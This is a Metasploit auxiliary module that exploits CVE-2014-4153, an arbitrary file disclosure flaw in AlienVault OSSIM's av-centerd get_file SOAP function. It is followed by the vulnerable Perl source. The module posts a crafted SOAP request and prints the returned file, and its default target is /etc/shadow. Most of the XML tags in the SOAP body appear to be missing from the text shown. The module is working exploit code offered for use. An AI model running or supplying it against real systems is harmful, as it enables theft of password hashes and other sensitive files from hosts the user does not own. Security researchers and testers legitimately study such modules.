require 'msf/core' class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient def initialize super( 'Name' => 'Alienvault OSSIM av-centerd Util.pm get_file Information Disclosure', 'Description' => %q{ This module exploits an information disclosure vulnerability found within the get_file function in Util.pm. The vulnerability exists because of an unsanitized $r_file parameter that allows for the leaking of arbitrary file information. }, 'References' => [ [ 'CVE', '2014-4153' ], [ 'ZDI', '14-207' ], [ 'URL', 'http://forums.alienvault.com/discussion/2806' ], ], 'Author' => [ 'james fitts' ], 'License' => MSF_LICENSE, 'DisclosureDate' => 'Jun 13 2014') register_options([ Opt::RPORT(40007), OptBool.new('SSL', [true, 'Use SSL', true]), OptString.new('FILE', [ false, 'This is the file to download', '/etc/shadow']) ], self.class) end def run soap = "\r\n" soap += "\r\n" soap += "\r\n" soap += "\r\n" soap += "All\r\n" soap += "423d7bea-cfbc-f7ea-fe52-272ff7ede3d2\r\n" soap += "#{datastore['RHOST']}\r\n" soap += "#{Rex::Text.rand_text_alpha(4 + rand(4))}\r\n" soap += "#{datastore['FILE']}\r\n" soap += "\r\n" soap += "\r\n" soap += "\r\n" res = send_request_cgi( { 'uri' => '/av-centerd', 'method' => 'POST', 'ctype' => 'text/xml; charset=UTF-8', 'data' => soap, 'headers' => { 'SOAPAction' => "\"AV/CC/Util#get_file\"" } }, 20) if res && res.code == 200 print_good("Dumping contents of #{datastore['FILE']} now...") data = res.body.scan(/(?<=xsi:type="soapenc:Array">)[\S\s]+<\/item>/) puts data[0].split("<")[0] else print_bad("Something went wrong...") end end end __END__ /usr/share/alienvault-center/lib/AV/CC/Util.pm sub get_file { my ( $funcion_llamada, $nombre, $uuid, $admin_ip, $hostname, $r_file ) = @_; my $file_content; verbose_log_file( "GET FILE : Received call from $uuid : ip source = $admin_ip, hostname = $hostname :($funcion_llamada,$nombre,$r_file)" ); if ($r_file =~ /[;`\$\<\>\|]/) { console_log_file("Not allowed r_file: $r_file in get_file\n"); my @ret = ("Error"); return \@ret; } if ( !-f "$r_file" ) { #my @ret = ("Error"); verbose_log_file("Error file $r_file not found!"); # Return empty file if not exists my @ret = ( "", "d41d8cd98f00b204e9800998ecf8427e", "$systemuuid" ); return \@ret; } my $md5sum = `md5sum $r_file | awk {'print \$1'}` if ( -f "$r_file" ); if ( open( my $ifh, $r_file ) ) { binmode($ifh); $file_content = do { local $/; <$ifh> }; close($ifh); my @ret = ( "$file_content", "$md5sum", "$systemuuid" ); return \@ret; } else { my @ret = ("Error"); verbose_log_file("Error file $r_file not found!"); return \@ret; } }